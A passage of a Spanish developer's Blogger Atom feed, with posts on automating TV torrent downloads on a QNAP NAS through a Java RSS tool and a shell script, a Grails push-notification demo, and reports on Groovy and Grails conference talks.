/><thr:total>0</thr:total><feedburner:origLink>http://lopezivan.blogspot.com/2013/01/ponente-en-greach-2013-e-impresiones.html</feedburner:origLink></entry><entry gd:etag="W/&quot;DE4CQHs9eCp7ImA9WhNbE0o.&quot;"><id>tag:blogger.com,1999:blog-12666448.post-3023126374929177051</id><published>2013-01-16T23:56:00.000+01:00</published><updated>2013-01-16T23:56:01.560+01:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2013-01-16T23:56:01.560+01:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="Tecnología" /><category scheme="http://www.blogger.com/atom/ns#" term="NAS" /><category scheme="http://www.blogger.com/atom/ns#" term="Linux" /><title>Descargando torrents desde un QNAP (I)</title><content type="html">Hace tiempo conté mi estrategia de backup en casa. Tengo montado un servidor debian con un &lt;a href="http://lopezivan.blogspot.com.es/2007/03/raid-1-en-linux.html"&gt;raid 1&lt;/a&gt; y unos &lt;a href="http://lopezivan.blogspot.com.es/2007/05/rsync-vs-backuppc-vs-link-backup.html"&gt;scripts personalizados de rsync&lt;/a&gt; para realizar la sincronización y copia de los datos.&lt;br /&gt;
&lt;br /&gt;
Adicionalmente tenía un portátil un tanto antiguo con ubuntu con el que descargaba series por medio de bittorrent y alguna otra cosa con amule. Hace unos meses decidí que quería mejorar un poco toda esta infraestructura con un NAS. Así, después de mucho mirar compré un &lt;a href="http://www.qnap.com/en/index.php?lang=en&amp;sn=822&amp;c=351&amp;sc=514&amp;t=522&amp;n=3415"&gt;Qnap TS-412&lt;/a&gt; y un par de discos de 2 TB. Con los dos discos he creado un raid 1 y ahora tengo ahí toda mi información, fotos, series, música,...&lt;br /&gt;
&lt;br /&gt;
El qnap tiene un linux embebido con mucha funcionalidad y que es fácilmente ampliable y personalizable. Para las descargas utilizo &lt;a href="http://www.transmissionbt.com/"&gt;Transmission&lt;/a&gt; que se puede instalar desde el gestor de software incluído. Transmission funciona perfectamente pero tiene un pequeño problema, no permite configurar un feed rss desde el que descargar los torrents. Esto es un gran problema para mí porque para descargar mis series favoritas utilizo &lt;a href="http://showrss.karmorra.info/"&gt;Show RSS&lt;/a&gt;. Una vez registrado en la web eliges tu series de la lista y puedes generar un feed rss personalizado en donde se publicarán automáticamente los torrents de las series según estén disponibles.&lt;br /&gt;
&lt;br /&gt;
Así que con este problemilla me puse a buscar una solución. Como no soy el único que tiene estos problemas estuve probando distintas alternativas que encontré en diversos foros, pero o no funcionaban correctamente o no me terminaban de convencer. Finalmente encontré &lt;a href="https://sourceforge.net/projects/tvtorrentrss/"&gt;TV Torrent RSS Downloader&lt;/a&gt; que casi cubre mis necesidades. Es una pequeña aplicación hecha en Java en la que configuras uno o varios feeds rss y unos filtros y descarga los archivos adjuntos. Después de hacer una pruebas en local todo funcionó a la perfección, pero hay había un problema ¿cómo instalo java en el qnap?&lt;br /&gt;
&lt;br /&gt;
Después de bucear un poco por la web de &lt;strike&gt;Sun&lt;/strike&gt; Oracle llegué a la web de descargas del &lt;a href="http://www.oracle.com/technetwork/java/embedded/downloads/javase/index.html"&gt;JRE para Linux ARM&lt;/a&gt; y tras unas pruebas de ensayo-error descargué la versión correcta para mi arquitectura: &lt;i&gt;ARMv5 Linux – Headless EABI, SoftFP, Little Endian&lt;/i&gt;. La instalación es tan sencilla como descomprimir el archivo y configurar el path correctamente y comprobar que el ejecutable funciona:&lt;br /&gt;
&lt;pre&gt;$ ./java -version
java version "1.6.0_38"
Java SE &lt;b&gt;Embedded Runtime&lt;/b&gt; Environment (build 1.6.0_38-b05, headless)
Java HotSpot(TM) Embedded Client VM (build 20.13-b02, mixed mode)
&lt;/pre&gt;&lt;br /&gt;
Ahora con java instalado es tan sencillo como ejecutar:&lt;br /&gt;
&lt;pre&gt;$ java -jar tvrss.jar
&lt;/pre&gt;&lt;br /&gt;
Y los .torrents de cada serie se iran descargando automáticamente al directorio que hayamos especificado en el archivo de configuración. Una vez funcionando las descargas de los .torrents de cada serie, si configuramos la ruta de descarga al directorio &lt;i&gt;watched&lt;/i&gt; de transmission, los archivos se añadirán y se pondrán a descargar automáticamente.&lt;br /&gt;
&lt;br /&gt;
Con todo funcionando podemos configurar un script .sh que se ejecute a la hora que queramos y descargue automáticamente todos los torrents. Por ejemplo:&lt;br /&gt;
&lt;br /&gt;
&lt;pre&gt;$ cat tvrss.sh 
#!/bin/bash

JAVA_HOME=/share/MD0_DATA/software/java/ejre1.6.0_38
APP_DIR=/share/MD0_DATA/software/transmission_scripts/tvrss
LOG_FILE=$APP_DIR/torrents.log

cd /share/MD0_DATA/software/transmission_scripts/tvrss
$JAVA_HOME/bin/java -jar $APP_DIR/tvrss.jar &gt;&gt; $LOG_FILE
&lt;/pre&gt;&lt;br /&gt;
Con esto solucionamos el problema de la descarga de los archivos .torrent y el añadirlos a Transmission, pero como comenté antes, la versión original de TV Torrent tiene un pequeño problema: los filtros. Por cada serie que queramos descargar es necesario añadir un filtro nuevo en el archivo de configuración para que ésta se descargue. Además, si en el feed rss publican una nueva versión, las típicas versiones PROPER o REPACK que corrigen problemas de sincronización o similar, éstas tampoco serán descargadas.&lt;br /&gt;
&lt;br /&gt;
La solución en el siguiente artículo :-)&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~ff/BlogDeIvanLopez?a=vJ2GGAkCKlg:c7L1t270ljc:yIl2AUoC8zA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/BlogDeIvanLopez?d=yIl2AUoC8zA" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/BlogDeIvanLopez?a=vJ2GGAkCKlg:c7L1t270ljc:I9og5sOYxJI"&gt;&lt;img src="http://feeds.feedburner.com/~ff/BlogDeIvanLopez?d=I9og5sOYxJI" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/BlogDeIvanLopez?a=vJ2GGAkCKlg:c7L1t270ljc:ecdYMiMMAMM"&gt;&lt;img src="http://feeds.feedburner.com/~ff/BlogDeIvanLopez?d=ecdYMiMMAMM" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/BlogDeIvanLopez?a=vJ2GGAkCKlg:c7L1t270ljc:czBxSBonZpw"&gt;&lt;img src="http://feeds.feedburner.com/~ff/BlogDeIvanLopez?d=czBxSBonZpw" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/BlogDeIvanLopez?a=vJ2GGAkCKlg:c7L1t270ljc:F7zBnMyn0Lo"&gt;&lt;img src="http://feeds.feedburner.com/~ff/BlogDeIvanLopez?i=vJ2GGAkCKlg:c7L1t270ljc:F7zBnMyn0Lo" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/BlogDeIvanLopez?a=vJ2GGAkCKlg:c7L1t270ljc:4cEx4HpKnUU"&gt;&lt;img src="http://feeds.feedburner.com/~ff/BlogDeIvanLopez?i=vJ2GGAkCKlg:c7L1t270ljc:4cEx4HpKnUU" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/BlogDeIvanLopez?a=vJ2GGAkCKlg:c7L1t270ljc:-BTjWOF_DHI"&gt;&lt;img src="http://feeds.feedburner.com/~ff/BlogDeIvanLopez?i=vJ2GGAkCKlg:c7L1t270ljc:-BTjWOF_DHI" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/BlogDeIvanLopez/~4/vJ2GGAkCKlg" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://lopezivan.blogspot.com/feeds/3023126374929177051/comments/default" title="Enviar comentarios" /><link rel="replies" type="text/html" href="http://lopezivan.blogspot.com/2013/01/descargando-torrents-desde-un-qnap-i.html#comment-form" title="0 comentarios" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/12666448/posts/default/3023126374929177051?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/12666448/posts/default/3023126374929177051?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/BlogDeIvanLopez/~3/vJ2GGAkCKlg/descargando-torrents-desde-un-qnap-i.html" title="Descargando torrents desde un QNAP (I)" /><author><name>Iván</name><uri>http://www.blogger.com/profile/00333291545491221453</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="32" height="32" src="http://farm1.static.flickr.com/209/523303390_db540d4386_o.png" /></author><thr:total>0</thr:total><feedburner:origLink>http://lopezivan.blogspot.com/2013/01/descargando-torrents-desde-un-qnap-i.html</feedburner:origLink></entry><entry gd:etag="W/&quot;AkMCQ3o7fSp7ImA9WhNVFkw.&quot;"><id>tag:blogger.com,1999:blog-12666448.post-3331701547247751168</id><published>2012-12-27T15:12:00.000+01:00</published><updated>2012-12-27T15:27:42.405+01:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2012-12-27T15:27:42.405+01:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="Push" /><category scheme="http://www.blogger.com/atom/ns#" term="Grails" /><title>Pusheame: Notificaciones push al navegador</title><content type="html">Esta semana pasada, en &lt;a href="http://kaleidos.net/"&gt;Kaleidos&lt;/a&gt; hemos celebrado la 3ª Edición de nuestra &lt;a href="http://piweek.es"&gt;PiWeek&lt;/a&gt;. Aunque en la web viene explicado lo que es, la PiWeek es la &lt;i&gt;Personal Innovation Week&lt;/i&gt; y básicamente consiste en que cada 6 meses, "cerramos" una semana para hacer proyectos de innovación. Existen únicamente dos reglas, sólo se permite usar software libre para el desarrollo y al final de la semana hay que hacer una demo funcional.&lt;br /&gt;
&lt;br /&gt;
En esta ocasión he aprovechado la semana para probar los plugins de grails &lt;a href="http://grails.org/plugin/platform-core"&gt;platform-core&lt;/a&gt; y &lt;a href="http://grails.org/plugin/events-push"&gt;events-push&lt;/a&gt; de los que ya hablé en mi anterior artículo sobre la &lt;a href="http://lopezivan.blogspot.com/2012/12/groovy-grails-exchange-2012-en-londres.html"&gt;Groovy &amp; Grails eXchange&lt;/a&gt;. &lt;br /&gt;
&lt;br /&gt;
La idea que hay detrás de "notificaciones push" del servidor al cliente es enviar información en tiempo real al navegador justo en el momento en que se obtiene. Normalmente, cuando desde una aplicación web queremos actualizar un contador, número de mensajes,... lo que solemos hacer es preguntar cada cierto tiempo (10-30 segundos) al servidor si hay mensajes nuevos. Esto implica estar constantemente haciendo llamadas al servidor y además tener un pequeño retraso en la obtención de los mensajes. Con el paradigma push es el servidor el que envía los datos al cliente sin que éste tenga que estar preguntando constantemente.&lt;br /&gt;
&lt;br /&gt;
Mi idea era hacer una pequeña prueba de concepto haciendo push de números aleatorios desde el servidor al cliente. Una vez conseguido, he utilizado el API en tiempo real de Instagram para obtener fotos geolocalizadas e irlas mostrando en un mapa y en un muro.&lt;br /&gt;
&lt;br /&gt;
El resultado es &lt;b&gt;Pusheame&lt;/b&gt;, que se encuentra desplegado en &lt;a href="http://pusheame.cloudfoundry.com"&gt;http://pusheame.cloudfoundry.com&lt;/a&gt;.&lt;br /&gt;
Una vez ahí existen dos páginas de pruebas, &lt;a href="http://pusheame.cloudfoundry.com/map"&gt;el mapa&lt;/a&gt;, que muestra fotos geoetiquetadas de 28 ciudades de Estado Unidos.&lt;br /&gt;
&lt;br /&gt;
&lt;center&gt;&lt;a href="http://3.bp.blogspot.com/-sVXxL55OLqA/UNhyMD4YlyI/AAAAAAAABfY/bNMyOnmYD-0/s1600/Pusheame-map.png" imageanchor="1" style=""&gt;&lt;img border="0" height="279" width="400" src="http://3.bp.blogspot.com/-sVXxL55OLqA/UNhyMD4YlyI/AAAAAAAABfY/bNMyOnmYD-0/s400/Pusheame-map.png" /&gt;&lt;/a&gt;&lt;br /&gt;
&lt;/center&gt;&lt;br /&gt;
y &lt;a href="http://pusheame.cloudfoundry.com/wall"&gt;el muro&lt;/a&gt;, que muestra esas mismas fotos en formato muro o album de fotos:&lt;br /&gt;
&lt;br /&gt;
&lt;center&gt;&lt;a href="http://2.bp.blogspot.com/-JvNnFTrbMBQ/UNhyalwpGRI/AAAAAAAABfk/Ec8DZ0ofQoY/s1600/Pusheame-wall.png" imageanchor="1" style=""&gt;&lt;img border="0" height="301" width="400" src="http://2.bp.blogspot.com/-JvNnFTrbMBQ/UNhyalwpGRI/AAAAAAAABfk/Ec8DZ0ofQoY/s400/Pusheame-wall.png" /&gt;&lt;/a&gt;&lt;br /&gt;
&lt;/center&gt;&lt;br /&gt;
Lo único que tenéis que hacer es abrir el navegador y esperar a que vayan apareciendo las fotos automáticamente.&lt;br /&gt;
&lt;br /&gt;
Si no quieres esperar también puedes ver este pequeño vídeo que he hecho.&lt;br /&gt;
&lt;br /&gt;
&lt;center&gt;&lt;iframe src="http://player.vimeo.com/video/56363238?title=0&amp;amp;byline=0&amp;amp;portrait=0" width="500" height="375" frameborder="0" webkitAllowFullScreen mozallowfullscreen allowFullScreen&gt;&lt;/iframe&gt; &lt;p&gt;&lt;a href="http://vimeo.com/56363238"&gt;Pusheame: Instagram Real-Time pictures&lt;/a&gt; from &lt;a href="http://vimeo.com/ilopmar"&gt;Iv&amp;aacute;n L&amp;oacute;pez&lt;/a&gt; on &lt;a href="http://vimeo.com"&gt;Vimeo&lt;/a&gt;.&lt;/p&gt;&lt;/center&gt;&lt;br /&gt;
Como indico en la página, para los curiosos, el código fuente del proyecto se encuentra disponible en mi cuenta de github: &lt;a href="https://github.com/lmivan/pusheame"&gt;https://github.com/lmivan/pusheame&lt;/a&gt;.&lt;br /&gt;
&lt;br /&gt;
Si perteneces a una empresa tecnológica y te gustaría participar en la próxima edición de la PiWeek, no dudes en contactar con nosotros.&lt;br /&gt;
En la primera edición celebrada en diciembre de 2011 sólo participamos Kaleidos. En la segunda edición de julio de 2012 participaron junto con nosotros Secuoyas y Yaco, y finalmente, en esta tercera edición se han apuntado de nuevo Secuoyas y también Wadobo.&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~ff/BlogDeIvanLopez?a=AEyxsA5dxnU:CYEzB2gaIY8:yIl2AUoC8zA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/BlogDeIvanLopez?d=yIl2AUoC8zA" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/BlogDeIvanLopez?a=AEyxsA5dxnU:CYEzB2gaIY8:I9og5sOYxJI"&gt;&lt;img src="http://feeds.feedburner.com/~ff/BlogDeIvanLopez?d=I9og5sOYxJI" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/BlogDeIvanLopez?a=AEyxsA5dxnU:CYEzB2gaIY8:ecdYMiMMAMM"&gt;&lt;img src="http://feeds.feedburner.com/~ff/BlogDeIvanLopez?d=ecdYMiMMAMM" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/BlogDeIvanLopez?a=AEyxsA5dxnU:CYEzB2gaIY8:czBxSBonZpw"&gt;&lt;img src="http://feeds.feedburner.com/~ff/BlogDeIvanLopez?d=czBxSBonZpw" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/BlogDeIvanLopez?a=AEyxsA5dxnU:CYEzB2gaIY8:F7zBnMyn0Lo"&gt;&lt;img src="http://feeds.feedburner.com/~ff/BlogDeIvanLopez?i=AEyxsA5dxnU:CYEzB2gaIY8:F7zBnMyn0Lo" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/BlogDeIvanLopez?a=AEyxsA5dxnU:CYEzB2gaIY8:4cEx4HpKnUU"&gt;&lt;img src="http://feeds.feedburner.com/~ff/BlogDeIvanLopez?i=AEyxsA5dxnU:CYEzB2gaIY8:4cEx4HpKnUU" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/BlogDeIvanLopez?a=AEyxsA5dxnU:CYEzB2gaIY8:-BTjWOF_DHI"&gt;&lt;img src="http://feeds.feedburner.com/~ff/BlogDeIvanLopez?i=AEyxsA5dxnU:CYEzB2gaIY8:-BTjWOF_DHI" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/BlogDeIvanLopez/~4/AEyxsA5dxnU" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://lopezivan.blogspot.com/feeds/3331701547247751168/comments/default" title="Enviar comentarios" /><link rel="replies" type="text/html" href="http://lopezivan.blogspot.com/2012/12/pusheame-notificaciones-push-al.html#comment-form" title="3 comentarios" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/12666448/posts/default/3331701547247751168?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/12666448/posts/default/3331701547247751168?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/BlogDeIvanLopez/~3/AEyxsA5dxnU/pusheame-notificaciones-push-al.html" title="Pusheame: Notificaciones push al navegador" /><author><name>Iván</name><uri>http://www.blogger.com/profile/00333291545491221453</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="32" height="32" src="http://farm1.static.flickr.com/209/523303390_db540d4386_o.png" /></author><thr:total>3</thr:total><feedburner:origLink>http://lopezivan.blogspot.com/2012/12/pusheame-notificaciones-push-al.html</feedburner:origLink></entry><entry gd:etag="W/&quot;CkAER3o_fSp7ImA9WhNWGEo.&quot;"><id>tag:blogger.com,1999:blog-12666448.post-4402350321574396713</id><published>2012-12-18T23:45:00.000+01:00</published><updated>2012-12-18T23:45:06.445+01:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2012-12-18T23:45:06.445+01:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="Groovy" /><category scheme="http://www.blogger.com/atom/ns#" term="Grails" /><title>Groovy &amp; Grails eXchange 2012 en Londres</title><content type="html">El pasado jueves y viernes (13 y 14 de diciembre) estuve en el &lt;a href="http://skillsmatter.com/event/groovy-grails/groovy-grails-exchange-2012"&gt;Groovy &amp; Grails eXchange 2012&lt;/a&gt; en Londres (GGX). Se trata de una de las conferencias más importantes en torno a Grails, Groovy, Griffon,... de Europa.&lt;br /&gt;
&lt;br /&gt;
Las charlas estaban divididas en dos tracks y en casi todas elegí las de Grails.&lt;br /&gt;
&lt;br /&gt;
1.- &lt;b&gt;Keynote on Groovy&lt;/b&gt;: Guillaume Laforge abrió la keynote contando novedades de la versión 2.0 de Groovy: Un core más modular, uso de invokeDynamic, las nuevas transformaciones para comprobación de errores de compilación... Interesante saber hacia dónde se dirige el lenguaje en las próximas versiones.&lt;br /&gt;
&lt;br /&gt;
2.- &lt;b&gt;Grails for Hipsters&lt;/b&gt;: Espectacular charla de Robbert Fletcher en la que usando Grails, Vertx, Handlebars, Backbone y un montón de tecnologías hacía un clon de Instagram con publicaciones push, ajax,... Realmente instructiva y con el código fuente disponible en github.&lt;br /&gt;
&lt;br /&gt;
3.- &lt;b&gt;Using Grails Platform Core&lt;/b&gt;: Marc Palmer nos contó el nuevo plugin Platform-Core que ha desarrollado junto a Stephane Maldini y que pretende sentar las bases de un nuevo API sobre el que desarrollar nuevos y potentes plugins. Incluye abstracciones de Seguridad, Navigación, UI, y, para mí la parte más interesante, Events.&lt;br /&gt;
&lt;br /&gt;
4.- &lt;b&gt;Under the hood: Using Spring in Grails&lt;/b&gt;: Desde hacía tiempo tenía ganas de asistir a una charla de Burt Beckwith y no me decepcionó. Contó cómo integrar Spring clásico en Grails, Inyección de Dependencias, distintas formas de interactuar y engancharnos al ciclo de vida de los beans,... Muy útil y formativa.&lt;br /&gt;
&lt;br /&gt;
5.- &lt;b&gt;Theming &amp; UIs with Grails Platform UI&lt;/b&gt;: De nuevo Marc Palmer no habló sobre Platform Core, pero está vez centrado en la parte de UI. Las distintas abstracciones, taglibs,... que ha desarrollado para poder hacer interfaces en las que cambiar el diseño sea tan sencillo como descargar e instalar un nuevo tema de manera similar a como se hace con Wordpress.&lt;br /&gt;
&lt;br /&gt;
6.- &lt;b&gt;Leveraging Social Media in Grails&lt;/b&gt;: Para terminar el día, Bobby Warner nos contó los distintos plugins y librerías que existen en la actualidad para integrar nuestras aplicaciones Grails con las distintas redes sociales: Facebook, Twitter, Google+, LinkedIn.&lt;br /&gt;
&lt;br /&gt;
7.- &lt;b&gt;Grails Keynote&lt;/b&gt;: El 2º día comenzó con la Keynote de Grails por parte de su project leader Graeme Rocher. Se centró en las novedades introducidas desde Grails 2.0 y para mi gusto se detuvo demasiado en ellas y no le dio tiempo a entrar en profundidad en lo que se incluirá en las siguiente versiones 2.3 y 3.0&lt;br /&gt;
&lt;br /&gt;
8.- &lt;b&gt;Debugging Grails Database Performance&lt;/b&gt;: Interesante charla de Tom Dunstan sobre un plugin que había desarrollado para mostrar de manera muy visual en cada vista que renderizamos el tiempo total que ha llevado incluyendo el desglose en los distintos servicios, el número de consultas sql que se han realizado, el tiempo de las mismas e incluso la propia consulta. Hay que prestar atención a este plugin porque tiene pinta de ser muy útil durante el desarrollo.&lt;br /&gt;
&lt;br /&gt;
9.- &lt;b&gt;Groovier testing with Spock&lt;/b&gt;: En esta ocasión Robert Fletcher nos mostraba código Java con sus correspondientes tests en Junit e iba explicando de una manera muy sencilla cómo convertir estos tests a Spock y por qué deberíamos usar Spock para probar en lugar del clásico Junit. Por suerte yo ya lo llevo usando desde hace tiempo :-)&lt;br /&gt;
&lt;br /&gt;
10.- &lt;b&gt;Reactive Grails - Event Oriented Architecture&lt;/b&gt;: Para mí la mejor charla de todas. Stephane Maldini explicó la parte de Events de platform-core junto con un par de plugins que había desarrollado y que complementaban al anterior. El mejor sin duda events-push, que sirve para poder recibir en el navegador notificaciones push en tiempo real desde el servidor de una manera muy sencilla. Hizo dos demos a cual más espectacular, una de video en tiempo real y la otra de un juego multijugador.&lt;br /&gt;
&lt;br /&gt;
11.- &lt;b&gt;Securing Grails Applications&lt;/b&gt;: Burt Beckwith comentó los 10 problemas más importantes de seguridad de las aplicaciones web, cómo estos pueden afectar a nuestras aplicaciones grails y cómo prevenirlos. Además contó un nuevo plugin que está desarrollando y que estará disponible junto con la versión 2.3 de Grails.&lt;br /&gt;
&lt;br /&gt;
12.- &lt;b&gt;Building an ecommerce business with gr8 technologies in Latin America&lt;/b&gt;: Domingo Suarez contó su experiencia desarrollando clickonero y cómo evolucionó la plataforma. Es una continuación de la charla que dio en el pasado Spring IO 2012 en Madrid. Muy interesante la peculiar forma en la que han diseñado la nueva arquitectura para poder soportar una gran carga de usuarios.&lt;br /&gt;
&lt;br /&gt;
Y con esto acabaron las charlas. Hubo sorteo de ebooks de grails pero esta vez no me tocó ninguno.&lt;br /&gt;
&lt;br /&gt;
La verdad es que ha sido una gran experiencia estar rodeado de dos días de tantos "cracks" del entorno Groovy y Grails. Tengo muchas ideas en el cuaderno y cosas que quiero probar y que haré haciendo poco a poco.&lt;br /&gt;
&lt;br /&gt;
Si no has podido asistir pero te interesan estos temas, ya están todos &lt;a href="http://skillsmatter.com/go/groovy-grails"&gt;los videos de las charlas publicados&lt;/a&gt; por lo que no hay excusa para no ir viéndolas poco a poco a ratos.&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~ff/BlogDeIvanLopez?a=GvdzXREyKiU:54olNlvP6Zo:yIl2AUoC8zA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/BlogDeIvanLopez?d=yIl2AUoC8zA" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/BlogDeIvanLopez?a=GvdzXREyKiU:54olNlvP6Zo:I9og5sOYxJI"&gt;&lt;img src="http://feeds.feedburner.com/~ff/BlogDeIvanLopez?d=I9og5sOYxJI" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/BlogDeIvanLopez?a=GvdzXREyKiU:54olNlvP6Zo:ecdYMiMMAMM"&gt;&lt;img src="http://feeds.feedburner.com/~ff/BlogDeIvanLopez?d=ecdYMiMMAMM" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/BlogDeIvanLopez?a=GvdzXREyKiU:54olNlvP6Zo:czBxSBonZpw"&gt;&lt;img src="http://feeds.feedburner.com/~ff/BlogDeIvanLopez?d=czBxSBonZpw" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/BlogDeIvanLopez?a=GvdzXREyKiU:54olNlvP6Zo:F7zBnMyn0Lo"&gt;&lt;img src="http://feeds.feedburner.com/~ff/BlogDeIvanLopez?i=GvdzXREyKiU:54olNlvP6Zo:F7zBnMyn0Lo" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/BlogDeIvanLopez?a=GvdzXREyKiU:54olNlvP6Zo:4cEx4HpKnUU"&gt;&lt;img src="http://feeds.feedburner.com/~ff/BlogDeIvanLopez?i=GvdzXREyKiU:54olNlvP6Zo:4cEx4HpKnUU" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/BlogDeIvanLopez?a=GvdzXREyKiU:54olNlvP6Zo:-BTjWOF_DHI"&gt;&lt;img src="http://feeds.feedburner.com/~ff/BlogDeIvanLopez?i=GvdzXREyKiU:54olNlvP6Zo:-BTjWOF_DHI" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/BlogDeIvanLopez/~4/GvdzXREyKiU" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://lopezivan.blogspot.com/feeds/4402350321574396713/comments/default" title="Enviar comentarios" /><link rel="replies" type="text/html" href="http://lopezivan.blogspot.com/2012/12/groovy-grails-exchange-2012-en-londres.html#comment-form" title="1 comentarios" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/12666448/posts/default/4402350321574396713?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/12666448/posts/default/4402350321574396713?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/BlogDeIvanLopez/~3/GvdzXREyKiU/groovy-grails-exchange-2012-en-londres.html" title="Groovy &amp; Grails eXchange 2012 en Londres" /><author><name>Iván</name><uri>http://www.blogger.com/profile/00333291545491221453</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="32" height="32" src="http://farm1.static.flickr.com/209/523303390_db540d4386_o.png" /></author><thr:total>1</thr:total><feedburner:origLink>http://lopezivan.blogspot.com/2012/12/groovy-grails-exchange-2012-en-londres.html</feedburner:origLink></entry><entry gd:etag="W/&quot;CUEDRX4-eyp7ImA9WhRSEUU.&quot;"><id>tag:blogger.com,1999:blog-12666448.post-819709122717135405</id><published>2011-11-13T11:22:00.001+01:00</published><updated>2011-11-13T12:27:54.053+01:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2011-11-13T12:27:54.053+01:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="Groovy" /><category scheme="http://www.blogger.com/atom/ns#" term="Grails" /><title>Crónica de Greach: Conferencia de Groovy</title><content type="html">El pasado viernes 4 de noviembre acudí a &lt;a href="http://greach.es"&gt;Greach&lt;/a&gt;, una conferencia sobre el lenguaje Groovy y los frameworks en torno a él: Grails, Griffon,... celebrada en la Universidad San Pablo CEU de Madrid. La conferencia estuvo muy bien y las charlas a las que asistí me gustaron casi todas.&lt;br /&gt;
&lt;br /&gt;
Después del registro y la presentación empezaron las charlas en sí:&lt;br /&gt;
&lt;br /&gt;
1.- &lt;b&gt;Groovy 1.8 and beyond!&lt;/b&gt;: &lt;a href="http://greach.es/ponentes/guillaume-laforge"&gt;Guillaume Laforge&lt;/a&gt;, project manager de Groovy nos contó las novedades de la versión 1.8 y nos adelantó algunas de las nuevas características que tendremos disponibles en groovy 1.9 como grandes mejoras en el rendimiento o un compilador más estricto que permitirá detectar más errores en tiempo de compilación en lugar de retrasarlos hasta la ejecución.&lt;br /&gt;
2.- &lt;b&gt;Novedades de Grails 2.0&lt;/b&gt;: &lt;a href="http://greach.es/ponentes/alvaro-sanchez-mariscal"&gt;Álvaro Sánchez-Mariscal&lt;/a&gt;, después de una presentación con un video con la intro de "The Day of the Tentacle", nos contó las novedades que incluye la versión 2.0 de Grails respecto a la 1.3.7: Scaffolding en HTML5, uso por defecto de jQuery en lugar de prototype, muchas mejoras en la parte de tests,...&lt;br /&gt;
3.- &lt;b&gt;Deconstructing i18n-fields. Nacimiento y evolución de un power-plugin de Grails, sin cortes, sin censuras&lt;/b&gt;: Bajo este título, &lt;a href="http://greach.es/ponentes/jorge-uriarte"&gt;Jorge Uriarte&lt;/a&gt; nos contó las ventajas de la arquitectura de plugins de Grails, lo fácil que es crear un plugin y cómo le surgió la necesidad de crear este plugin. Con él, se puede internacionalizar campos de la base de datos de manera muy fácil y sencilla. Nos contó las distintas aproximaciones y evoluciones que ha tenido el plugin, vimos fragmentos de código,... La charla me pareció muy interesante y al final de ella pude hablar un rato con Jorge para comentarle que yo ya estoy utilizando su plugin en un proyecto y que me está resultando muy útil.&lt;br /&gt;
Después de esto tuvimos una pequeña pausa para tomar un café y recuperar algo de fuerzas con una pastas y volvimos a la carga con el siguiente bloque de charlas&lt;br /&gt;
